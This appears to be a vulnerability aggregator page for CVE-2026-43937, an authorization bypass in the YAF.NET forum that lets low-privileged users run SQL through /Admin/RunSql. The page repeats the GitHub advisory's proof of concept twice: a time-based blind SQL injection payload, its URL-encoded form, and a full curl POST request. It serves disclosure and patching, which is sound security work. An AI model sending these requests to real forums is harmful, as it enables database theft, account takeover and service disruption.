CVE-2026-43937
YAF.NET: Pre-Handler Authorization Bypass on Admin Pages Enabling Blind SQL Execution via `/Admin/RunSql`
YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
YAF.NET: Pre-Handler Authorization Bypass on Admin Pages Enabling Blind SQL Execution via `/Admin/RunSql`
YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.
- Record
CVE-2026-43937- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89, CWE-841
- Updated
- 2026-11-02
EUVDEUVD-2026-29479
8.8
YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.
- Record
EUVD-2026-29479- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xhw7-j96h-c3g5
8.8
YAFNET: Pre-Handler Authorization Bypass on Admin Pages Enables Blind SQL Execution via `/Admin/RunSql`
Issue Details:
YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.
A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.
Impact:
An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.
Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.
Steps to Reproduce:
- Register or log in to the forum as any low-privileged user.
- Acquire the standard
__RequestVerificationTokentoken from any rendered page and the cookies. - Use the following CURL command:
Payload:
IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'(77 is the character M) URL Encoded Payload:%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27
curl.exe --path-as-is -i -s -k -X POST `
-H 'Host: yetanotherforum.internal:8080' `
-H 'User-Agent: curl/8.18.0' `
-H 'Accept: */*' `
-H 'Content-Type: application/x-www-form-urlencoded' `
-H 'Content-Length: 428' `
-H 'Connection: keep-alive' `
-b '<Replace with Cookies>' `
--data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
-w '\n----\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code: %{http_code}\n' `
'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'
<img width="1619" height="921" alt="image" src="https://github.com/user-attachments/assets/1c5d4d96-a69a-47eb-9558-e5fe1e6cc9e4" />
Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L)
URL Encoded Payload:…
- Record
GHSA-xhw7-j96h-c3g5- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89, CWE-841
- Updated
- 2026-11-02
NVD
8.8
YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.
- Record
CVE-2026-43937- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89, CWE-841
- Updated
- 2026-11-02
OSV
8.8
YAF.NET: Pre-Handler Authorization Bypass on Admin Pages Enabling Blind SQL Execution via `/Admin/RunSql`
YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5, Any admin OnPost… handler executes its side effects before the ResultFilterAttribute rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user. This vulnerability is fixed in 4.0.5.
- Record
CVE-2026-43937- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-841, CWE-89
- Updated
- 2026-11-02
OSVGHSA-xhw7-j96h-c3g5
8.8
YAFNET: Pre-Handler Authorization Bypass on Admin Pages Enables Blind SQL Execution via `/Admin/RunSql`
Issue Details:
YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.
A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.
Impact:
An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.
Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.
Steps to Reproduce:
- Register or log in to the forum as any low-privileged user.
- Acquire the standard
__RequestVerificationTokentoken from any rendered page and the cookies. - Use the following CURL command:
Payload:
IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'(77 is the character M) URL Encoded Payload:%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27
curl.exe --path-as-is -i -s -k -X POST `
-H 'Host: yetanotherforum.internal:8080' `
-H 'User-Agent: curl/8.18.0' `
-H 'Accept: */*' `
-H 'Content-Type: application/x-www-form-urlencoded' `
-H 'Content-Length: 428' `
-H 'Connection: keep-alive' `
-b '<Replace with Cookies>' `
--data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
-w '\n----\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code: %{http_code}\n' `
'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'
<img width="1619" height="921" alt="image" src="https://github.com/user-attachments/assets/1c5d4d96-a69a-47eb-9558-e5fe1e6cc9e4" />
Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L)
URL Encoded Payload:…
- Record
GHSA-xhw7-j96h-c3g5- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-841, CWE-89
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
YAFNET.CoreNuGet |
through 4.0.4 | 4.0.5 |
YAFNET.CoreNuGet |
before 4.0.5, plus listed versions 4.0.04.0.0-beta034.0.0-beta044.0.0-beta054.0.0-beta06 Show 11 moreShow less4.0.0-beta074.0.0-beta084.0.0-beta094.0.0-rc014.0.0-rc024.0.0-rc034.0.0-rc044.0.14.0.24.0.34.0.4 |
4.0.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-43937 is a high vulnerability (CVSS 8.8) in Yafnet, published May 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. Fixed in YAFNET.Core 4.0.5.
References
github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5
github.com/YAFNET/YAFNET/commit/27f7e671f93698f7e014d5d0fb88320248b8aa20
github.com/YAFNET/YAFNET/releases/tag/v4.0.5
nvd.nist.gov/vuln/detail/CVE-2026-43937
github.com/advisories/GHSA-xhw7-j96h-c3g5
github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43937.json
github.com/YAFNET/YAFNET
Left out here: the rest of 2 source descriptions. The JSON record has them.